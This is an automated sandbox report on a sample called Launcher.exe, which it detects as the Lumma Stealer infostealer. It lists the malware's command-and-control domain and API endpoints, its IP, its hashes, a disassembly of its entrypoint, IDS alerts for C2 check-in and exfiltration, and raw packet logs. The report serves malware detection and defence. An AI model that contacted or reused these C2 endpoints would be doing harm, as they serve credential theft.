https://contile-images.services.mozilla.com/CuERQnIs4CzqjKBh9os6_h9d4CUDCHO3oiqmAQO6VLM.25122.jpg	Launcher.exe, 00000003.00000003.1264554273.00000000058ED000.00000004.00000800.00020000.00000000.sdmp	false		high
https://fancywaxxers.shop/;	Launcher.exe, 00000003.00000002.2473560458.00000000030C7000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.1518633968.00000000030B5000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.1285753592.00000000030C7000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.1518850501.00000000030C6000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://fancywaxxers.shop/	Launcher.exe, 00000003.00000003.1240150298.000000000306D000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.1518942042.000000000305B000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.1285753592.00000000030C7000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.1518850501.00000000030C6000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.1284751333.0000000003056000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://support.mozilla.org/products/firefoxgro.all	Launcher.exe, 00000003.00000003.1264286920.0000000005C07000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	Launcher.exe, 00000003.00000003.1240753689.000000000592B000.00000004.00000800.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.1240818465.0000000005928000.00000004.00000800.00020000.00000000.sdmp	false		high
https://fancywaxxers.shop:443/api	Launcher.exe, 00000003.00000003.1240048261.000000000303B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696490019400400000.1&ci=1696490019252.12791&cta	Launcher.exe, 00000003.00000003.1264554273.00000000058ED000.00000004.00000800.00020000.00000000.sdmp	false		high
https://fancywaxxers.shop/api9	Launcher.exe, 00000003.00000003.1518501096.00000000058F0000.00000004.00000800.00020000.00000000.sdmp, Launcher.exe, 00000003.00000002.2473959250.00000000058F0000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
104.21.96.1	fancywaxxers.shop	United States		13335	CLOUDFLARENETUS	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1582532
Start date and time:	2024-12-30 20:41:09 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 8s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	14
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Launcher.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@4/0@1/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 96% Number of executed functions: 51 Number of non-executed functions: 131
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, SgrmBroker.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 13.107.246.45, 20.109.210.53
Excluded domains from analysis (whitelisted): otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com, time.windows.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: Launcher.exe

Simulations

Behavior and APIs

Time	Type	Description
14:42:00	API Interceptor	8x Sleep call for process: Launcher.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
104.21.96.1	SH8ZyOWNi2.exe	Get hash	malicious	CMSBrute	Browse	pelisplus.so/administrator/index.php
104.21.96.1	Recibos.exe	Get hash	malicious	FormBook	Browse	www.mffnow.info/1a34/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
fancywaxxers.shop	GTA-5-Mod-Menu-2025.exe	Get hash	malicious	LummaC	Browse	104.21.96.1
	AquaDiscord-2.0.exe	Get hash	malicious	LummaC	Browse	104.21.16.1
	random.exe	Get hash	malicious	LummaC	Browse	104.21.48.1
	UmotQ1qjLq.exe	Get hash	malicious	LummaC	Browse	104.21.96.1
	R3nz_Loader.exe	Get hash	malicious	LummaC	Browse	104.21.32.1
	Loader.exe	Get hash	malicious	LummaC	Browse	104.21.80.1

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	GTA-5-Mod-Menu-2025.exe	Get hash	malicious	LummaC	Browse	104.21.96.1
	AquaDiscord-2.0.exe	Get hash	malicious	LummaC	Browse	104.21.16.1
	web44.mp4.hta	Get hash	malicious	LummaC	Browse	172.67.154.95
	setup.exe	Get hash	malicious	LummaC	Browse	172.67.208.58
	SharkHack.exe	Get hash	malicious	LummaC, DarkTortilla, LummaC Stealer, PureLog Stealer, zgRAT	Browse	104.21.64.143
	Active_Setup.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	Set-up.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	#Setup.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	setup.msi	Get hash	malicious	Unknown	Browse	104.21.0.151
	https://employeeportal.net-login.com/XL0pFWEloTnBYUmM5TnBUSmVpbWxiSUpWb3BBL1lPY1hwYU5uYktNWkd5ME82bWJMcUhoRklFUWJiVmFOUi9uUS81dGZ4dnJZYkltK2NMZG5BV1pmbFhqMXNZcm1QeXBXTXI4R090NHo5NWhuL2l4TXdxNlY4VlZxWHVPNTdnc1M3aU4xWjhFTmJiTEJWVUYydWVqZjNPbnFkM3M5T0FNQ2lRL3EySjhvdVVDNzZ2UHJQb0xQdlhZbTZRPT0tLTJaT0Z2TlJ3S0NMTTZjc2ktLTZGNUIwRnVkbFRTTHR2dUFITkcxVFE9PQ==?cid=2341891188	Get hash	malicious	KnowBe4	Browse	104.17.25.14

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	GTA-5-Mod-Menu-2025.exe	Get hash	malicious	LummaC	Browse	104.21.96.1
	AquaDiscord-2.0.exe	Get hash	malicious	LummaC	Browse	104.21.96.1
	hoEtvOOrYH.exe	Get hash	malicious	SmokeLoader	Browse	104.21.96.1
	web44.mp4.hta	Get hash	malicious	LummaC	Browse	104.21.96.1
	setup.exe	Get hash	malicious	LummaC	Browse	104.21.96.1
	SharkHack.exe	Get hash	malicious	LummaC, DarkTortilla, LummaC Stealer, PureLog Stealer, zgRAT	Browse	104.21.96.1
	Active_Setup.exe	Get hash	malicious	LummaC	Browse	104.21.96.1
	Set-up.exe	Get hash	malicious	LummaC	Browse	104.21.96.1
	#Setup.exe	Get hash	malicious	LummaC	Browse	104.21.96.1
	random.exe	Get hash	malicious	LummaC	Browse	104.21.96.1

Dropped Files

⊘No context

Created / dropped Files

⊘No created / dropped files found

Static File Info

General

File type:	PE32 executable (console) Intel 80386, for MS Windows
Entropy (8bit):	7.7267311733579325
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	Launcher.exe
File size:	913'920 bytes
MD5:	5bef55977a460a2162dd7f670b4a766a
SHA1:	a3757f1cc17b9a534a2794345cf83c9b72a69aa5
SHA256:	01847c8093c8715c282033512e67d57aafad3c787849a121f621ec9f04214340
SHA512:	d1a39e2556524e4f14e46f4eb208d9060ebea67832b50b9c035959fabd93757c2711e94e64b25807b65da03e3e280052b0adf6e78f3f7ba286dbd49ecf188c80
SSDEEP:	24576:oGEZcUhkBQQb/GVD47cFMOqTfnb/GVD47cFMOqTfI:oG0cUhkqA/G6lfb/G6lfI
TLSH:	BE15F1027591C0B3C87311B719BEDB69592EA6000B526ADF67880EFEDF706C19931F7A
File Content Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....Mqg.................&...\.......n............@..........................`............@.....................................<..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x416ea0
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows cui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NO_ISOLATION, GUARD_CF, TERMINAL_SERVER_AWARE
Time Stamp:	0x67714D83 [Sun Dec 29 13:24:19 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	588987af4e159ab133c2fd81ab21d6c3

Entrypoint Preview

Instruction
call 00007F39A8B4853Ah
jmp 00007F39A8B4839Dh
mov ecx, dword ptr [00446C40h]
push esi
push edi
mov edi, BB40E64Eh
mov esi, FFFF0000h
cmp ecx, edi
je 00007F39A8B48536h
test esi, ecx
jne 00007F39A8B48558h
call 00007F39A8B48561h
mov ecx, eax
cmp ecx, edi
jne 00007F39A8B48539h
mov ecx, BB40E64Fh
jmp 00007F39A8B48540h
test esi, ecx
jne 00007F39A8B4853Ch
or eax, 00004711h
shl eax, 10h
or ecx, eax
mov dword ptr [00446C40h], ecx
not ecx
pop edi
mov dword ptr [00446C80h], ecx
pop esi
ret
push ebp
mov ebp, esp
sub esp, 14h
lea eax, dword ptr [ebp-0Ch]
xorps xmm0, xmm0
push eax
movlpd qword ptr [ebp-0Ch], xmm0
call dword ptr [0044186Ch]
mov eax, dword ptr [ebp-08h]
xor eax, dword ptr [ebp-0Ch]
mov dword ptr [ebp-04h], eax
call dword ptr [00441828h]
xor dword ptr [ebp-04h], eax
call dword ptr [00441824h]
xor dword ptr [ebp-04h], eax
lea eax, dword ptr [ebp-14h]
push eax
call dword ptr [004418BCh]
mov eax, dword ptr [ebp-10h]
lea ecx, dword ptr [ebp-04h]
xor eax, dword ptr [ebp-14h]
xor eax, dword ptr [ebp-04h]
xor eax, ecx
leave
ret
mov eax, 00004000h
ret
push 00448318h
call dword ptr [00441894h]
ret
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
mov al, 01h
ret
push 00030000h

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x41608	0x3c	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x4a000	0xe8	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x4b000	0x2724	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x3d300	0x18	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x35e38	0xc0	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x417b8	0x174	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x3245a	0x32600	c4549430d24610c92b37bed6473270d7	False	0.4947755117866005	data	6.4148411499579145	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x34000	0x103dc	0x10400	8f41f0a4477466e083dd1225271b1fed	False	0.4734675480769231	DOS executable (COM)	5.262841422439912	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x45000	0x3ae0	0x2c00	41abedb3cd61d6efee59d0f1e4be6075	False	0.27885298295454547	data	5.101110177853289	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.tls	0x49000	0x9	0x200	1f354d76203061bfdd5a53dae48d5435	False	0.033203125	data	0.020393135236084953	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x4a000	0xe8	0x200	9ba0e63b56b364ddba7264c6ed8b3c7f	False	0.306640625	data	2.341009454357875	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x4b000	0x2724	0x2800	8bb45e0eca6ae0cfb6acb30c1d288b24	False	0.74765625	data	6.507988645199514	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
.BSS	0x4e000	0x4b400	0x4b400	da2f40653873a2558249cc49e741dfde	False	1.0003276837624584	data	7.999448087845865	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.BSS	0x9a000	0x4b400	0x4b400	da2f40653873a2558249cc49e741dfde	False	1.0003276837624584	data	7.999448087845865	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x4a060	0x87	XML 1.0 document, ASCII text	English	United States	0.8222222222222222

Imports

DLL

Import

KERNEL32.dll

AcquireSRWLockExclusive, CloseHandle, CloseThreadpoolWork, CompareStringW, CreateFileW, CreateThreadpoolWork, DecodePointer, DeleteCriticalSection, EncodePointer, EnterCriticalSection, EnumSystemLocalesW, ExitProcess, FindClose, FindFirstFileExW, FindNextFileW, FlushFileBuffers, FreeConsole, FreeEnvironmentStringsW, FreeLibrary, FreeLibraryWhenCallbackReturns, GetACP, GetCPInfo, GetCommandLineA, GetCommandLineW, GetConsoleMode, GetConsoleOutputCP, GetCurrentProcess, GetCurrentProcessId, GetCurrentThreadId, GetEnvironmentStringsW, GetFileSize, GetFileSizeEx, GetFileType, GetLastError, GetLocaleInfoW, GetModuleFileNameW, GetModuleHandleA, GetModuleHandleExW, GetModuleHandleW, GetOEMCP, GetProcAddress, GetProcessHeap, GetStartupInfoW, GetStdHandle, GetStringTypeW, GetSystemTimeAsFileTime, GetUserDefaultLCID, HeapAlloc, HeapFree, HeapReAlloc, HeapSize, InitOnceBeginInitialize, InitOnceComplete, InitializeCriticalSectionAndSpinCount, InitializeCriticalSectionEx, InitializeSListHead, IsDebuggerPresent, IsProcessorFeaturePresent, IsValidCodePage, IsValidLocale, LCMapStringEx, LCMapStringW, LeaveCriticalSection, LoadLibraryExW, MultiByteToWideChar, QueryPerformanceCounter, RaiseException, ReadConsoleW, ReadFile, ReleaseSRWLockExclusive, RtlUnwind, SetEnvironmentVariableW, SetFilePointerEx, SetLastError, SetStdHandle, SetUnhandledExceptionFilter, SleepConditionVariableSRW, SubmitThreadpoolWork, TerminateProcess, TlsAlloc, TlsFree, TlsGetValue, TlsSetValue, TryAcquireSRWLockExclusive, UnhandledExceptionFilter, WakeAllConditionVariable, WideCharToMultiByte, WriteConsoleW, WriteFile

GDI32.dll

EndPage, GetMetaFileBitsEx

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-30T20:42:00.878009+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49699	104.21.96.1	443	TCP
2024-12-30T20:42:01.380600+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.7	49699	104.21.96.1	443	TCP
2024-12-30T20:42:01.380600+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	49699	104.21.96.1	443	TCP
2024-12-30T20:42:01.944538+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49700	104.21.96.1	443	TCP
2024-12-30T20:42:02.417442+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.7	49700	104.21.96.1	443	TCP
2024-12-30T20:42:02.417442+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	49700	104.21.96.1	443	TCP
2024-12-30T20:42:03.140784+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49701	104.21.96.1	443	TCP
2024-12-30T20:42:04.207164+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49702	104.21.96.1	443	TCP
2024-12-30T20:42:06.012966+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49703	104.21.96.1	443	TCP
2024-12-30T20:42:07.575625+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49704	104.21.96.1	443	TCP
2024-12-30T20:42:08.104779+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.7	49704	104.21.96.1	443	TCP
2024-12-30T20:42:09.077797+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49705	104.21.96.1	443	TCP
2024-12-30T20:42:11.256883+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49706	104.21.96.1	443	TCP
2024-12-30T20:42:11.727704+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	49706	104.21.96.1	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 30, 2024 20:42:00.392918110 CET	49699	443	192.168.2.7	104.21.96.1
Dec 30, 2024 20:42:00.392950058 CET	443	49699	104.21.96.1	192.168.2.7
Dec 30, 2024 20:42:00.393021107 CET	49699	443	192.168.2.7	104.21.96.1
Dec 30, 2024 20:42:00.395648956 CET	49699	443	192.168.2.7	104.21.96.1
Dec 30, 2024 20:42:00.395662069 CET	443	49699	104.21.96.1	192.168.2.7
Dec 30, 2024 20:42:00.877901077 CET	443	49699	104.21.96.1	192.168.2.7
Dec 30, 2024 20:42:00.878009081 CET	49699	443	192.168.2.7	104.21.96.1
Dec 30, 2024 20:42:00.881639957 CET	49699	443	192.168.2.7	104.21.96.1
Dec 30, 2024 20:42:00.881649971 CET	443	49699	104.21.96.1	192.168.2.7
Dec 30, 2024 20:42:00.881995916 CET	443	49699	104.21.96.1	192.168.2.7
Dec 30, 2024 20:42:00.933140993 CET	49699	443	192.168.2.7	104.21.96.1
Dec 30, 2024 20:42:00.933159113 CET	49699	443	192.168.2.7	104.21.96.1
Dec 30, 2024 20:42:00.933258057 CET	443	49699	104.21.96.1	192.168.2.7
Dec 30, 2024 20:42:01.380620003 CET	443	49699	104.21.96.1	192.168.2.7
Dec 30, 2024 20:42:01.380727053 CET	443	49699	104.21.96.1	192.168.2.7
Dec 30, 2024 20:42:01.380800962 CET	49699	443	192.168.2.7	104.21.96.1
Dec 30, 2024 20:42:01.426353931 CET	49699	443	192.168.2.7	104.21.96.1
Dec 30, 2024 20:42:01.426378012 CET	443	49699	104.21.96.1	192.168.2.7
Dec 30, 2024 20:42:01.457901955 CET	49700	443	192.168.2.7	104.21.96.1
Dec 30, 2024 20:42:01.457952976 CET	443	49700	104.21.96.1	192.168.2.7
Dec 30, 2024 20:42:01.458122969 CET	49700	443	192.168.2.7	104.21.96.1
Dec 30, 2024 20:42:01.466888905 CET	49700	443	192.168.2.7	104.21.96.1
Dec 30, 2024 20:42:01.466908932 CET	443	49700	104.21.96.1	192.168.2.7
Dec 30, 2024 20:42:01.944382906 CET	443	49700	104.21.96.1	192.168.2.7
Dec 30, 2024 20:42:01.944538116 CET	49700	443	192.168.2.7	104.21.96.1
Dec 30, 2024 20:42:01.945768118 CET	49700	443	192.168.2.7	104.21.96.1
Dec 30, 2024 20:42:01.945781946 CET	443	49700	104.21.96.1	192.168.2.7
Dec 30, 2024 20:42:01.946026087 CET	443	49700	104.21.96.1	192.168.2.7
Dec 30, 2024 20:42:01.947276115 CET	49700	443	192.168.2.7	104.21.96.1
Dec 30, 2024 20:42:01.947307110 CET	49700	443	192.168.2.7	104.21.96.1
Dec 30, 2024 20:42:01.947355032 CET	443	49700	104.21.96.1	192.168.2.7
Dec 30, 2024 20:42:02.417443037 CET	443	49700	104.21.96.1	192.168.2.7
Dec 30, 2024 20:42:02.417519093 CET	443	49700	104.21.96.1	192.168.2.7
Dec 30, 2024 20:42:02.417546988 CET	443	49700	104.21.96.1	192.168.2.7
Dec 30, 2024 20:42:02.417577982 CET	49700	443	192.168.2.7	104.21.96.1
Dec 30, 2024 20:42:02.417604923 CET	443	49700	104.21.96.1	192.168.2.7
Dec 30, 2024 20:42:02.417651892 CET	49700	443	192.168.2.7	104.21.96.1
Dec 30, 2024 20:42:02.417660952 CET	443	49700	104.21.96.1	192.168.2.7
Dec 30, 2024 20:42:02.418078899 CET	443	49700	104.21.96.1	192.168.2.7
Dec 30, 2024 20:42:02.418131113 CET	49700	443	192.168.2.7	104.21.96.1
Dec 30, 2024 20:42:02.418138981 CET	443	49700	104.21.96.1	192.168.2.7
Dec 30, 2024 20:42:02.418314934 CET	443	49700	104.21.96.1	192.168.2.7
Dec 30, 2024 20:42:02.418346882 CET	443	49700	104.21.96.1	192.168.2.7
Dec 30, 2024 20:42:02.418363094 CET	49700	443	192.168.2.7	104.21.96.1
Dec 30, 2024 20:42:02.418371916 CET	443	49700	104.21.96.1	192.168.2.7
Dec 30, 2024 20:42:02.418416023 CET	49700	443	192.168.2.7	104.21.96.1
Dec 30, 2024 20:42:02.422988892 CET	443	49700	104.21.96.1	192.168.2.7
Dec 30, 2024 20:42:02.468408108 CET	49700	443	192.168.2.7	104.21.96.1
Dec 30, 2024 20:42:02.468430042 CET	443	49700	104.21.96.1	192.168.2.7
Dec 30, 2024 20:42:02.515064955 CET	49700	443	192.168.2.7	104.21.96.1
Dec 30, 2024 20:42:02.516253948 CET	443	49700	104.21.96.1	192.168.2.7
Dec 30, 2024 20:42:02.516314030 CET	443	49700	104.21.96.1	192.168.2.7
Dec 30, 2024 20:42:02.516346931 CET	443	49700	104.21.96.1	192.168.2.7
Dec 30, 2024 20:42:02.516422033 CET	49700	443	192.168.2.7	104.21.96.1
Dec 30, 2024 20:42:02.516438007 CET	443	49700	104.21.96.1	192.168.2.7
Dec 30, 2024 20:42:02.516454935 CET	443	49700	104.21.96.1	192.168.2.7
Dec 30, 2024 20:42:02.516485929 CET	49700	443	192.168.2.7	104.21.96.1
Dec 30, 2024 20:42:02.516521931 CET	49700	443	192.168.2.7	104.21.96.1
Dec 30, 2024 20:42:02.516760111 CET	49700	443	192.168.2.7	104.21.96.1
Dec 30, 2024 20:42:02.516777992 CET	443	49700	104.21.96.1	192.168.2.7
Dec 30, 2024 20:42:02.516789913 CET	49700	443	192.168.2.7	104.21.96.1
Dec 30, 2024 20:42:02.516796112 CET	443	49700	104.21.96.1	192.168.2.7
Dec 30, 2024 20:42:02.670530081 CET	49701	443	192.168.2.7	104.21.96.1
Dec 30, 2024 20:42:02.670576096 CET	443	49701	104.21.96.1	192.168.2.7
Dec 30, 2024 20:42:02.670686007 CET	49701	443	192.168.2.7	104.21.96.1
Dec 30, 2024 20:42:02.671406984 CET	49701	443	192.168.2.7	104.21.96.1
Dec 30, 2024 20:42:02.671422958 CET	443	49701	104.21.96.1	192.168.2.7
Dec 30, 2024 20:42:03.140687943 CET	443	49701	104.21.96.1	192.168.2.7
Dec 30, 2024 20:42:03.140784025 CET	49701	443	192.168.2.7	104.21.96.1
Dec 30, 2024 20:42:03.142124891 CET	49701	443	192.168.2.7	104.21.96.1
Dec 30, 2024 20:42:03.142133951 CET	443	49701	104.21.96.1	192.168.2.7
Dec 30, 2024 20:42:03.142365932 CET	443	49701	104.21.96.1	192.168.2.7
Dec 30, 2024 20:42:03.143603086 CET	49701	443	192.168.2.7	104.21.96.1
Dec 30, 2024 20:42:03.143727064 CET	49701	443	192.168.2.7	104.21.96.1
Dec 30, 2024 20:42:03.143757105 CET	443	49701	104.21.96.1	192.168.2.7
Dec 30, 2024 20:42:03.665294886 CET	443	49701	104.21.96.1	192.168.2.7
Dec 30, 2024 20:42:03.665397882 CET	443	49701	104.21.96.1	192.168.2.7
Dec 30, 2024 20:42:03.665452003 CET	49701	443	192.168.2.7	104.21.96.1
Dec 30, 2024 20:42:03.665632010 CET	49701	443	192.168.2.7	104.21.96.1
Dec 30, 2024 20:42:03.665652037 CET	443	49701	104.21.96.1	192.168.2.7
Dec 30, 2024 20:42:03.747971058 CET	49702	443	192.168.2.7	104.21.96.1
Dec 30, 2024 20:42:03.748020887 CET	443	49702	104.21.96.1	192.168.2.7
Dec 30, 2024 20:42:03.748104095 CET	49702	443	192.168.2.7	104.21.96.1
Dec 30, 2024 20:42:03.748437881 CET	49702	443	192.168.2.7	104.21.96.1
Dec 30, 2024 20:42:03.748457909 CET	443	49702	104.21.96.1	192.168.2.7
Dec 30, 2024 20:42:04.207081079 CET	443	49702	104.21.96.1	192.168.2.7
Dec 30, 2024 20:42:04.207164049 CET	49702	443	192.168.2.7	104.21.96.1
Dec 30, 2024 20:42:04.257595062 CET	49702	443	192.168.2.7	104.21.96.1
Dec 30, 2024 20:42:04.257613897 CET	443	49702	104.21.96.1	192.168.2.7
Dec 30, 2024 20:42:04.257879972 CET	443	49702	104.21.96.1	192.168.2.7
Dec 30, 2024 20:42:04.259813070 CET	49702	443	192.168.2.7	104.21.96.1
Dec 30, 2024 20:42:04.260047913 CET	49702	443	192.168.2.7	104.21.96.1
Dec 30, 2024 20:42:04.260085106 CET	443	49702	104.21.96.1	192.168.2.7
Dec 30, 2024 20:42:04.260135889 CET	49702	443	192.168.2.7	104.21.96.1
Dec 30, 2024 20:42:04.307336092 CET	443	49702	104.21.96.1	192.168.2.7
Dec 30, 2024 20:42:04.760818005 CET	443	49702	104.21.96.1	192.168.2.7
Dec 30, 2024 20:42:04.760914087 CET	443	49702	104.21.96.1	192.168.2.7
Dec 30, 2024 20:42:04.761009932 CET	49702	443	192.168.2.7	104.21.96.1
Dec 30, 2024 20:42:04.761132956 CET	49702	443	192.168.2.7	104.21.96.1
Dec 30, 2024 20:42:04.761156082 CET	443	49702	104.21.96.1	192.168.2.7
Dec 30, 2024 20:42:04.974363089 CET	49703	443	192.168.2.7	104.21.96.1
Dec 30, 2024 20:42:04.974410057 CET	443	49703	104.21.96.1	192.168.2.7
Dec 30, 2024 20:42:04.974471092 CET	49703	443	192.168.2.7	104.21.96.1
Dec 30, 2024 20:42:04.974776030 CET	49703	443	192.168.2.7	104.21.96.1
Dec 30, 2024 20:42:04.974791050 CET	443	49703	104.21.96.1	192.168.2.7
Dec 30, 2024 20:42:06.012846947 CET	443	49703	104.21.96.1	192.168.2.7
Dec 30, 2024 20:42:06.012965918 CET	49703	443	192.168.2.7	104.21.96.1
Dec 30, 2024 20:42:06.014328003 CET	49703	443	192.168.2.7	104.21.96.1
Dec 30, 2024 20:42:06.014334917 CET	443	49703	104.21.96.1	192.168.2.7
Dec 30, 2024 20:42:06.014563084 CET	443	49703	104.21.96.1	192.168.2.7
Dec 30, 2024 20:42:06.017390013 CET	49703	443	192.168.2.7	104.21.96.1
Dec 30, 2024 20:42:06.017538071 CET	49703	443	192.168.2.7	104.21.96.1
Dec 30, 2024 20:42:06.017564058 CET	443	49703	104.21.96.1	192.168.2.7
Dec 30, 2024 20:42:06.017620087 CET	49703	443	192.168.2.7	104.21.96.1
Dec 30, 2024 20:42:06.017627954 CET	443	49703	104.21.96.1	192.168.2.7
Dec 30, 2024 20:42:06.652585030 CET	443	49703	104.21.96.1	192.168.2.7
Dec 30, 2024 20:42:06.652698040 CET	443	49703	104.21.96.1	192.168.2.7
Dec 30, 2024 20:42:06.652749062 CET	49703	443	192.168.2.7	104.21.96.1
Dec 30, 2024 20:42:06.652848005 CET	49703	443	192.168.2.7	104.21.96.1
Dec 30, 2024 20:42:06.652863979 CET	443	49703	104.21.96.1	192.168.2.7
Dec 30, 2024 20:42:07.098706007 CET	49704	443	192.168.2.7	104.21.96.1
Dec 30, 2024 20:42:07.098757982 CET	443	49704	104.21.96.1	192.168.2.7
Dec 30, 2024 20:42:07.098851919 CET	49704	443	192.168.2.7	104.21.96.1
